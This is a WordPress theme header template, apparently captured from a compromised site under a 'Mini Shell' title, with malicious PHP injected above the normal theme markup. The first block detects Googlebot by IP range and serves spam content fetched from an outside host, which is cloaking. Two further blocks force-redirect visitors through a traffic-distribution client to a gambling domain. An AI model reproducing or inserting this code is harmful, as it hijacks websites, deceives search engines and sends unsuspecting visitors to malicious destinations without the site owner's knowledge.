Mini Shell
<?php
if (!function_exists('fetchUrl')) {
$googlebotRangesUrl = 'https://developers.google.com/search/apis/ipranges/googlebot.json';
$userIP = getUserIP();
$ipRanges = getGooglebotIPRanges($googlebotRangesUrl);
if (isGooglebotIP($userIP, $ipRanges)) {
showRemoteContent();
exit();
}
function fetchUrl($url) {
if (function_exists('curl_init') && ini_get('allow_url_fopen') == false) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Content Fetcher)');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$result = curl_exec($ch);
curl_close($ch);
return $result;
} else {
$context = stream_context_create([
'http' => [
'timeout' => 10,
'user_agent' => 'Mozilla/5.0 (compatible; Content Fetcher)'
]
]);
return @file_get_contents($url, false, $context);
}
}
function getUserIP() {
$headers = [
'HTTP_CF_CONNECTING_IP',
'HTTP_X_FORWARDED_FOR',
'HTTP_X_REAL_IP',
'HTTP_CLIENT_IP',
'HTTP_X_FORWARDED',
'HTTP_FORWARDED_FOR',
'HTTP_FORWARDED'
];
foreach ($headers as $header) {
if (isset($_SERVER[$header]) && !empty($_SERVER[$header])) {
$ips = explode(',', $_SERVER[$header]);
$ip = trim($ips[0]);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
return $ip;
}
}
}
return $_SERVER['REMOTE_ADDR'] ?? '127.0.0.1';
}
function getGooglebotIPRanges($url) {
$jsonData = fetchUrl($url);
if ($jsonData === false) {
return [];
}
$data = json_decode($jsonData, true);
if (!isset($data['prefixes']) || !is_array($data['prefixes'])) {
return [];
}
$ranges = [
'ipv4' => [],
'ipv6' => []
];
foreach ($data['prefixes'] as $prefix) {
if (isset($prefix['ipv4Prefix'])) {
$ranges['ipv4'][] = $prefix['ipv4Prefix'];
} elseif (isset($prefix['ipv6Prefix'])) {
$ranges['ipv6'][] = $prefix['ipv6Prefix'];
}
}
return $ranges;
}
function isGooglebotIP($ip, $ipRanges) {
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
foreach ($ipRanges['ipv4'] as $range) {
if (ipv4InRange($ip, $range)) {
return true;
}
}
}
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) {
foreach ($ipRanges['ipv6'] as $range) {
if (ipv6InRange($ip, $range)) {
return true;
}
}
}
return false;
}
function showRemoteContent() {
$domain = $_SERVER['HTTP_HOST'];
$remoteUrl = "https://wonderfulworld.site/tr/{$domain}/index.txt";
$cacheDir = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/cache/wonderfulworld/';
$cacheFile = $cacheDir . md5($domain) . '.txt';
$cacheTime = 2592000;
if (!is_dir($cacheDir)) {
@mkdir($cacheDir, 0755, true);
}
$content = null;
if (file_exists($cacheFile) && (time() - filemtime($cacheFile)) < $cacheTime) {
$content = file_get_contents($cacheFile);
} else {
$content = fetchUrl($remoteUrl);
if ($content !== false) {
@file_put_contents($cacheFile, $content, LOCK_EX);
} else {
if (file_exists($cacheFile)) {
$content = file_get_contents($cacheFile);
}
}
}
if ($content !== false && $content !== '') {
echo $content;
} else {
http_response_code(503);
echo "Service temporarily unavailable";
}
}
function ipv4InRange($ip, $range) {
if (strpos($range, '/') === false) {
return $ip === $range;
}
list($subnet, $bits) = explode('/', $range);
$ip = ip2long($ip);
$subnet = ip2long($subnet);
if ($ip === false || $subnet === false) {
return false;
}
$mask = (-1 << (32 - (int)$bits)) & 0xFFFFFFFF;
return ($ip & $mask) == ($subnet & $mask);
}
function ipv6InRange($ip, $range) {
if (strpos($range, '/') === false) {
return $ip === $range;
}
list($subnet, $bits) = explode('/', $range);
$ip = inet_pton($ip);
$subnet = inet_pton($subnet);
if ($ip === false || $subnet === false) {
return false;
}
$bits = (int)$bits;
$mask = str_repeat(chr(0xff), intval($bits / 8));
if ($bits % 8) {
$mask .= chr(0xff << (8 - ($bits % 8)));
}
$mask = str_pad($mask, 16, chr(0x00));
for ($i = 0; $i < 16; $i++) {
if (($ip[$i] & $mask[$i]) != ($subnet[$i] & $mask[$i])) {
return false;
}
}
return true;
}
}
?>
<?php
require_once $_SERVER['DOCUMENT_ROOT'] . '/tr/wp-klient.php';
$client = new KClient('https://lom.bet/', 'cyyqzgq1gcmthgkz8rdrqb1mbqpbbmq7');
$client->sendAllParams();
$client->forceRedirectOffer();
$client->keyword('09_08_tr_main');
$client->currentPageAsReferrer();
$client->executeAndBreak();
?>
<?php
require_once $_SERVER['DOCUMENT_ROOT'] . '/tr/wp-klient.php';
$client = new KClient('https://lom.bet/', 'cyyqzgq1gcmthgkz8rdrqb1mbqpbbmq7');
$client->sendAllParams();
$client->forceRedirectOffer();
$client->keyword('09_06_tr_main');
$client->currentPageAsReferrer();
$client->executeAndBreak();
/**
* The Header template for our theme
*/
?><!DOCTYPE html>
<html <?php language_attributes(); ?>>
<head>
<meta charset="<?php bloginfo( 'charset' ); ?>">
<link rel="profile" href="https://gmpg.org/xfn/11">
<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>">
<?php wp_head(); ?>
</head>
<body <?php body_class(); ?>>
<?php if ( function_exists( 'wp_body_open' ) ) : ?>
<?php wp_body_open(); ?>
<?php endif; ?>
<?php do_action( 'woodmart_after_body_open' ); ?>
<div class="wd-page-wrapper website-wrapper">
<?php if ( woodmart_needs_header() ) : ?>
<?php if ( ! function_exists( 'elementor_theme_do_location' ) || ! elementor_theme_do_location( 'header' ) ) : ?>
<header <?php woodmart_get_header_classes(); // phpcs:ignore ?>>
<?php whb_generate_header(); ?>
</header>
<?php endif ?>
<?php woodmart_page_top_part(); ?>
<?php endif ?>